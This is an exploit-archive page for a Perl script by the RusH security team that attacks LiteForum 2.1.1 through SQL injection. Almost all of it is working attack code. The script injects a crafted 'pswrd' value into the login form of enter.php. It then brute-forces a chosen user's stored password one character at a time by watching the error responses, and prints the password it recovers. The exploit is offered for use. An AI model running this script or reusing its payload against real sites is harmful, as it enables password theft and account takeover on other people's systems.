exploit the possibilities

r57lite211.txt

r57lite211.txt
Posted Feb 6, 2005
Authored by 1dt.w0lf | Site rst.void.ru

LiteForum version 2.1.1 SQL injection exploit with one char bruteforce.

tags | exploit, sql injection
MD5 | da93868e99ea5cdfc9f0d53edfc536c4

r57lite211.txt

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#!/usr/bin/perl

use LWP::UserAgent;

## LiteForum 2.1.1 (http://www.softtime.ru)
## sql injection exploit
## work on all mysql versions
## by 1dt.w0lf
## RusH security team (http://rst.void.ru)
## ---------------------------------------
## greets 2:
## ghc (www.ghc.ru)
## Gh0st Security Team (http://gst.void.ru) heya Ch0ke7 and off couse "re ine" ;)
## 0xdeadbabe Security Research (0xdeadbabe.blackhatz.info)
## 10x to cr0n for idea abour kewl haxor "username" =)))

$path = $ARGV[0];
$userid = $ARGV[1];

$|++;
$s_num = 1;

if (@ARGV < 2) { &usage; }
if ($ARGV[1]=~/[^0-9]/) { print "stupid! \"".$ARGV[1]."\" is not number!"; exit(); }
print " Please wait...\r\n";
print " Progress : [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
if ($i=="0")
{
if(length($allchar)>0)
{
print qq|]

USER_ID: $userid
USER_PASS: $allchar
|;
}
else
{
print qq|]
Forum not vulnerable or user ID is incorrect|;
}

exit();


}
else
{
print "#";
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
$ccheck = $_[0];

$lite_f = LWP::UserAgent->new() or die;
$res = $lite_f->post("$path",
[
"author" => "i_am_kewl_hakka_FATAL_ERROR_blyat\\",
"pswrd" => " OR (id_author=".$userid." AND (ascii(substring(passw,".$s_num.",1))".$ccheck.")) /*"
]
);
@results = $res->content;

foreach $result(@results)
{
#print $result."\r\n";
if ($result =~ /Error/) { return 1; }
}
return 0;
}

sub usage {
print q|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
LiteForum 2.1.1 sql injection exploit with one char bruteforce
by RusH security team (www.rst.void.ru)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Usage: r57lite211.pl [path] [id]

[path] - path to enter.php (http://host.com/forum/enter.php)
[id] - user ID to bruteforce (1,2,3...)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|;
exit();
}

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